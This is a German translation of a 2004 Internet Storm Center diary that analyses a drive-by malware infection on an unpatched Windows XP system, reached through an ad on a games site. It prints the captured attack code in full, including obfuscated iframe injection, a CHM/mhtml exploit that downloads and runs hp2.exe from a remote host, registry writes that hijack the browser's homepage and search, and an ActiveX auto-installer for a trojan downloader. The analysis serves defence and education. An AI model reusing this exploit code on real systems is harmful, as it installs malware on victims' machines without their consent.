zurück zum Artikel

Schädlingen auf der Spur

Jürgen Schmidt

Wer sich mit einem ungepatchten Windows-System ins Web wagt, hat ziemlich schnell Ärger am Hals. Tom Liston analysiert im Selbstversuch, was dabei alles an Unrat auf seinem System landet.

Dies ist ein Tagebucheintrag des Diensthabenden im Internet Storm Center [1]. heise Security veröffentlicht die deutsche Übersetzung mit freundlicher Genehmigung des ISC und des Autors Tom Liston. Das Original finden Sie hier [2].

Nachdem ich einige Adware/Spyware/Malware-Programme untersucht hatte, entschloss ich mich zu einem Experiment. Ich wollte wirklich sehen wie schnell ein ungepatchtes System kompromittiert wird - und wie das aus der Sicht eines "Otto Normal"-Anwenders aussieht. Ich setzte dazu ein VMWare-Image einer neuen Windows-XP-Home-Installation auf und machte mich auf ins Internet. Auf dieser aufschlussreichen Reise begegnete ich einer Reihe von Gefahren, die auf den unachtsamen Wanderer lauern und ich lernte einiges über die Spy-/Adware-Industrie.

Dies ist der erste Teil meiner Analyse dessen, was mir alles zustieß, als ich die im Internet notwendigen Schutzmaßnahmen "vergaß". Der zweite Teil untersucht das volle Ausmaß des Schadens, der dem armen "Otto Normalo" zugefügt wurde. Als kleiner Vorgeschmack kann ich schon hier sagen: Wenn es nach der Adware/Spyware-Industrie geht, haben Sie zwar den PC gekauft - aber DIE bestimmen darüber. Die unverschämte Dreistigkeit ihres Vorgehens wird Sie überraschen und ich hoffe, diese Lektüre bewegt den ein oder anderen Leser dazu, aufzuwachen und etwas zu unternehmen.

Offensichtlich hängt das, was in diesem Experiment passiert, davon ab, wohin ich im Netz gehe. Um fair zu sein: Die im Folgenden erwähnten Sites sind nicht wirklich was besonderes -- im Gegenteil: Sie sind nicht schlimmer oder besser als viele andere Ad-/Spyware-Seiten. Meine Auswahl orientierte sich an dem Vorfall, den ich ohnehin gerade untersucht hatte.

Für meinen "Otto Normalo" baute ich so gut wie möglich das gerade untersuchte System nach. Darauf lief ein Internet Explorer 6.0 mit Google Toolbar und aktviertem Popup-Blocker. Behalten Sie diese Konfiguration im Hinterkopf, wenn ich "der Spur der Schädlinge" folge.

Noch etwas, sas Sie nicht vergessen sollten: Ich werde keine der erwähnten URLs in dieser Geschichte als aktive Links setzen. Das ist Absicht. FOLGEN SIE KEINEN URLs IN DIESEM ARTIKEL, BESONDERS DANN NICHT, WENN IHR SYSTEM NICHT VOLLSTÄNDIG GEPACHT IST. SIE SIND GEMEINT. ECHT.

[Anm. des Übersetzers: Zum Zeitpunkt der Veröffentlichung unserer Übersetzung existierten die angebenen URLs immer noch. Die Warnung des Autors ist also durchaus ernst zu nehmen.]

Nachdem ich die Google Toolbar installiert hatte, machte ich dasselbe, wie mein "Otto Normalo", als er sich sein System infiziert hatte: Ich habe gegoogelt. Jemand hatte ihm von "Yahoo Games" erzählt und er wollte sich das mal ansehen. Ich gab bei Google "Yahoo Games" ein und übersprang (warum auch immer... schließlich machte das auch mein "Otto Normalo") ein paar Links, die offensichtlich zu Yahoo! führten. Statt dessen klickte ich auf "www.yahoogamez.com" (ACHTUNG: Wenn ihr System nicht voll gepacht ist, GEHEN SIE DA NICHT HIN).

Web-Seite Yahoo Gamez

Auf den ersten Blick erscheint die Seite völlig harmlos.

yahoogamez.com ist eine Web-Seite mit Links zu vielen verschiedenen Online-Spielen. Ich weiß zwar nicht, ob die Spiele was taugen, aber die Werbung dort ist ziemlich interessant. Wie bei vielen Web-Sites, die Online-Spiele anbieten, beruht das Geschäftsmodell darauf, Leute auf die Seite zu leiten und über die dort eingebauten Anzeigen Geld zu verdienen. Dabei hängt der Umsatz davon ab, wie oft eine Anzeige erscheint und ganz besonders davon, wie oft darauf geklickt wird. In der Regel hat der Seitenbetreiber einen Vertrag mit einem Zwischenhändler, der an Werbekunden "Platzierungen" auf den Seiten verkauft, mit deren Betreibern er Verträge hat. Die meisten dieser Online-Anzeigenfirmen stellen dann Server bereit, die dann den Code und die Anzeigenmotive an die teilnehmenden Web-Sites ausliefern.

Auf der Site von yahoogamez.com werden an zwei Stellen Anzeigen eingeblendet, die "aim4media.com" bereitstellt. Wenn man die yahoogamez-Seite aufruft, gibt es einen Sturm von HTTP-Anfragen, darunter die folgende:

[20/Jul/2004:13:50:11 -0500] "GET_hxxp://adserver.aim4media.com" - - "/adframe.php?n=a788e363&what=zone:450&;%20amp;target=_new HTTP/1.1"

Sie liefert den folgenden HTML-Code zurück:

<html>
<head>
<title>Advertisement</title>
</head>
<body leftmargin='0' topmargin='0' marginwidth='0' marginheight='0'
style='background-color:transparent'>
<iframe src="hxxp://205.236.189.58/mynet/mynet-MML.html"
width=468 height=60 hspace=0 vspace=0 frameborder=0
marginheight=0 marginwidth=0 scrolling=no>
<a href="hxxp://205.236.189.58/mynet/mynet-MML.html"
target="_blank">
<img width=468 height=60
src="hxxp://205.236.189.58/mynet/mynet-MML.html"border=0>
</a>
</iframe><div id="beacon_459" style="
position: absolute; left: 0px; top: 0px; visibility: hidden;">
<img src='hxxp://adserver.aim4media.com/adlog.php?bannerid=459&amp;
amp;clientid=431&zoneid=450&source=&
block=86400&capping=3&cb=7da741942b0623acd85070683ffa3ad8'
width='0' height='0' alt='' style='width: 0px; height: 0px;'>
</div>
</body>
</html>

Der iFrame erzeugt wieder einen HTTP-GET-Aufruf:

[20/Jul/2004:13:50:14 -0500] "GET_hxxp://205.236.189.58" - - "/mynet/mynet-MML.html HTTP/1.1"

der den folgenden HTML-Code herunterlädt:

<a href="hxxp://www.lovemynet.com/?frombanner2" target="_blank"><img src="hxxp://209.50.251.182/lovemynet/banner1.gif" width=468 height=60 border=0></a><!-- HP2 --><script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0036\u0039\u002e\u0035\u0030\u002e\u0031\u0033\u0039\u002e\u0036\u0031\u002f\u0068\u0070\u0032\u002f\u0068\u0070\u0032\u002e\u0068\u0074\u006d\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')</script>

Das sieht ganz so aus, als wollte jemand etwas verstecken. Dekodiert ergibt es:

<iframe src="hxxp://69.50.139.61/hp2/hp2.htm" width=1 height=1></iframe>

[20/Jul/2004:13:50:17 -0500] "GET_hxxp://69.50.139.61" - - "/hp2/hp2.htm HTTP/1.1"

was dann das hier liefert:

<!-- NEW Z.D.E.-D.B.D. w/ vu083003-H.P.S. (c) April 2004 SmartBot -->
<script type="text/javascript">document.write('
\u003c\u0074\u0065\u0078\u0074\u0061\u0072\u0065\u0061\u0020\u0069\u0064\u003d
\u0022\u0063\u006f\u0064\u0065\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d
\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065
\u003b\u0022\u003e\u000d\u000a\u0020\u0020\u0020\u0020\u003c\u006f\u0062\u006a
\u0065\u0063\u0074\u0020\u0064\u0061\u0074\u0061\u003d\u0022\u0026\u0023\u0031
\u0030\u0039\u003b\u0073\u002d\u0069\u0074\u0073\u003a\u006d\u0068\u0074\u006d
\u006c\u003a\u0066\u0069\u006c\u0065\u003a\u002f\u002f\u0043\u003a\u005c\u0066
\u006f\u006f\u002e\u006d\u0068\u0074\u0021\u0024\u007b\u0050\u0041\u0054\u0048
\u007d\u002f\u0048\u0050\u0032\u002e\u0043\u0048\u004d\u003a\u003a\u002f\u0068
\u0070\u0032\u002e\u0068\u0074\u006d\u0022\u0020\u0074\u0079\u0070\u0065\u003d
\u0022\u0074\u0065\u0078\u0074\u002f\u0078\u002d\u0073\u0063\u0072\u0069\u0070
\u0074\u006c\u0065\u0074\u0022\u003e\u003c\u002f\u006f\u0062\u006a\u0065\u0063
\u0074\u003e\u000d\u000a\u003c\u002f\u0074\u0065\u0078\u0074\u0061\u0072\u0065
\u0061\u003e\u000d\u000a\u000d\u000a\u003c\u0073\u0063\u0072\u0069\u0070\u0074
\u0020\u006c\u0061\u006e\u0067\u0075\u0061\u0067\u0065\u003d\u0022\u006a\u0061
\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u000d\u000a\u0020
\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077
\u0072\u0069\u0074\u0065\u0028\u0063\u006f\u0064\u0065\u002e\u0076\u0061\u006c
\u0075\u0065\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005c
\u0024\u007b\u0050\u0041\u0054\u0048\u007d\u002f\u0067\u002c\u006c\u006f\u0063
\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0072\u0065\u0066\u002e\u0073\u0075
\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u006c\u006f\u0063
\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0072\u0065\u0066\u002e\u0069\u006e
\u0064\u0065\u0078\u004f\u0066\u0028\u0027\u0068\u0070\u0032\u002e\u0068\u0074
\u006d\u0027\u0029\u0029\u0029\u0029\u003b\u000d\u000a\u003c\u002f\u0073\u0063
\u0072\u0069\u0070\u0074\u003e')</script>

Dekodiert ergibt das:

<textarea id="code" style="display:none;">
<object
data="ms - its:m html:file://C:\foo.mht!${PATH}/HP2.CHM::/hp2.htm"
</textarea>
<script language="javascript">
document.write(code.value.replace(/\${PATH}/g,location.href.substring(0,loca
</script>

[Anm. des Übersetzers: Das ist offensichtlich der Exploit, der im Browsercheck als "Installieren und Ausführen von Dateien via mhtml-Redirect" demonstriert wird. Das "m" aus dem URI "ms-its:" kodiert der Autor dieses Exploits über die HTML-Darstellung m -- wahrscheinlich, um die Erkennung durch Filter und Antiviren-Software weiter zu erschweren.]

[20/Jul/2004:13:50:20 -0500] "GET_http://69.50.139.61" - - "/hp2//HP2.CHM HTTP/1.1"

Dieser chm-Exploit enthält die Datei hp2.htm:

[Anm. des Übersetzers: CHM-Dateien sind kompilierte Hilfedateien, deren HTML/Script-Code mit den Rechten des lokalen Systems ausgeführt wird.]

<script language="vbscript">
Function Exists(filename)
On Error Resume Next
LoadPicture(filename)
Exists = Err.Number = 481
End Function
</script>
<script language="javascript">
var oPopup = window.createPopup();
function showPopup()
{
oPopup.document.body.innerHTML =
"<object data=http://209.50.251.182/vu083003/object-c002.cgi>";
oPopup.show(0,0,1,1,document.body);
}
showPopup()
wmplayerpaths= [
"C:\\Programmer\\Windows Media Player\\wmplayer.exe",
"C:\\Program\\Windows Media Player\\wmplayer.exe",
"C:\\Programme\\Windows Media Player\\wmplayer.exe",
"C:\\Programmi\\Windows Media Player\\wmplayer.exe",
"C:\\Programfiler\\Windows Media Player\\wmplayer.exe",
"C:\\Programas\\Windows Media Player\\wmplayer.exe",
"C:\\Archivos de programa\\Windows Media Player\\wmplayer.exe",
"C:\\Program Files\\Windows Media Player\\wmplayer.exe"
];
for (i=0;i<wmplayerpaths.length;i++) {
wmplayerpath = wmplayerpaths[i];
if (Exists(wmplayerpath))
break;
}
function getPath(url) {
start = url.indexOf('http:')
end = url.indexOf('HP2.CHM')
return url.substring(start, end);
}
payloadURL = getPath(location.href)+'hp2.exe';
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET",payloadURL,0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile(wmplayerpath,2);
var win=null;
function NewWindow(mypage,myname,w,h,scroll,pos){
if(pos=="random"){
LeftPosition=(screen.width)?Math.floor(Math.random()*
(screen.width-w)):100;
TopPosition=(screen.height)?Math.floor(Math.random()*
((screen.height-h)-75)):100;
}
if(pos=="center"){
LeftPosition=(screen.width)?(screen.width-w)/2:100;
TopPosition=(screen.height)?(screen.height-h)/2:100;
}
else if((pos!="center" && pos!="random") ||
pos==null){
LeftPosition=0;TopPosition=20
}
settings='width='+w+',height='+h+',top='
+TopPosition+',left='+LeftPosition
+',scrollbars='+scroll
+',location=no,directories=no,status=no,menubar=no,toolbar=no'
+',resizable=no';
win=window.open(mypage,myname,settings);
}
location.href = "mms://";
</script>

Und weiter gehts:

[20/Jul/2004:14:03:55 -0500] "GET_http://209.50.251.182" - - "/vu083003/object-c002.cgi HTTP/1.1"

<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",
"http://default-homepage-network.com/start.cgi?new-hkcu");
wsh.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",
"http://default-homepage-network.com/start.cgi?new-hklm");
wsh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",
"http://server224.smartbotpro.net/7search/?new-hkcu");
wsh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst",
"no");
wsh.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",
"http://server224.smartbotpro.net/7search/?new-hklm");
wsh.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst",
"no");
</script>
<script language=javascript>
self.close()
</script>
</html>

Soeben hat das Skript meine Home-Page verstellt, genau wie die Standard-Suchmaschine... Nett, richtig nett. Aber das war noch nicht alles... Da wurde auch diese Datei "hp2.exe" heruntergeladen und über den chm-Exploit ausgeführt. In den Log-Dateien findet sich tatsächlich:

[20/Jul/2004:13:50:25 -0500] "GET_http://69.50.139.61" - - "/hp2//hp2.exe HTTP/1.1"

hp2.exe ist ein sogenannter "Dropper". Das heisst, es ist ein kleines Programm, das ein Programm (oder manchmal auch mehrere) als Daten huckepack transportiert. Startet man das Programm, schreibt es seine Daten in eine Datei und startet das resultierende Programm. hp2.exe ist eine UPX-komprimierte EXE-Datei, die beim Start www.totalvelocity.com/Bundling/tvmupdater4bp5.exe aus dem Netz lädt. Dieses Programm installiert oder aktualisiert die Spyware "TV Media Display".

Jetzt folgte ich einem der Links auf der Seite, der allerdings ein Flash-Plugin benötigte. Weil ich das nicht installiert hatte, ging ich "zurück". Da ich jetzt von meinem ersten Besuch auf der yahoogamez-Seite bereits ein Cookie auf meinem Rechner hatte, machte eine der Dateien (popup.js), diesmal etwas anderes:

if ((document.cookie.indexOf("popuptraffic") != -1 ) &&
(document.cookie.indexOf("popupsponsor") == -1)){
var expdate = new Date((new Date()).getTime() + 1800000);
document.cookie="popupsponsor=general; expires=" + expdate.toGMTString() + "; path=/;";
document.write("<script language=\"JavaScript\"
src=\"http://addictivetechnologies.net/dm0/js/Confirmfr03tp.js\"></script>");
}

[20/Jul/2004:13:51:57 -0500] "GET_http://addictivetechnologies.net" - - "/dm0/js/Confirmfr03tp.js HTTP/1.1"

var exepath='http://www.addictivetechnologies.net/DM0/cab/fr03tp.cab';
var retry_enabled = true;
var retry_cnt=1;
document.write(
'<iframe id="downloads_manager" style="position:absolute;visibility:hidden;"></iframe>');
function retry() {
if(retry_cnt>0) {
alert("To install latest AT- Games update, please click Yes");
start_download();
retry_cnt--;
} else {
//alert("This is a 1 time install, once you click Open
it will never pop up this message again");
//downloads_manager.window.location =
"http://www.addictivetechnologies.net/DM0/exe/fr03tp.exe";
}
}
function start_download()
{
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
if ( navigator.platform && navigator.platform != 'Win32' ){
//alert("Sorry, your browser is not WIN32 Compatible");
}
if (bname == 'Microsoft Internet Explorer' && bver >= 2){
document_code = '<html><head>\n';
document_code += '<\/head><body>\n';
document_code += '<object onerror="window.parent.retry();" id="DDownload_UL1"
classid="clsid:00000EF1-0786-4633-87C6-1AA7A44296DA"
codebase="http://www.addictivetechnologies.net/DM0/cab/fr03tp.cab"
HEIGHT=0 WIDTH=0></object>\n';
document_code += '<\/body><\/html>';
downloads_manager.document.write(document_code);
downloads_manager.document.close();
}
else if (bname == 'Netscape' && bver >= 4) {
trigger = netscape.softupdate.Trigger;
if (trigger.UpdateEnabled) {
//trigger.StartSoftwareUpdate(exepath, trigger.DEFAULT_MODE)
} else {
location.replace(exepath);
}
} else {
location.replace(exepath);
}
}
start_download();

[Anm. des Übersetzers: Das Skript versucht zunächst ein ActiveX-Control automatisch zu installieren, indem es eine CODEBASE angibt, die auf eine externe CAB-Datei verweist. Klappt das nicht (onerror), erscheint eine Meldung, dass man zur Installation des Spieles "Yes" klicken müsse, und das Skript versucht es erneut.]

[20/Jul/2004:13:51:58 -0500] "GET_http://www.addictivetechnologies.net" - - "/DM0/cab/fr03tp.cab HTTP/1.1"

Diese CAB-Datei enthält zwei Dateien:

ATPartners.inf - 403 bytes
ATPartnets.dll - 96,256 bytes

Die DLL-Datei erkennt Antiviren-Software als den Trojaner Win32/TrojanDownloader.Rameh.C.

An dieser Stelle beende ich den ersten Teil. Im nächsten untersuche ich genauer, was diese Malware so alles anstellt und was passiert, wenn ich den Internet Explorer das nächste Mal starte und meine neue Homepage besuche.


http://www.labreatechnologies.com [3]

Hier gehts zu: Schädlingen auf der Spur, Teil 2 [4] (ju [5])


URL dieses Artikels:
https://www.heise.de/-270540

Links in diesem Artikel:
[1] http://isc.incidents.org/
[2] http://isc.incidents.org/diary.php?date=2004-07-23
[3] http://www.labreatechnologies.com
[4] https://www.heise.de/hintergrund/Schaedlingen-auf-der-Spur-Teil-2-270560.html
[5] mailto:ju@ct.de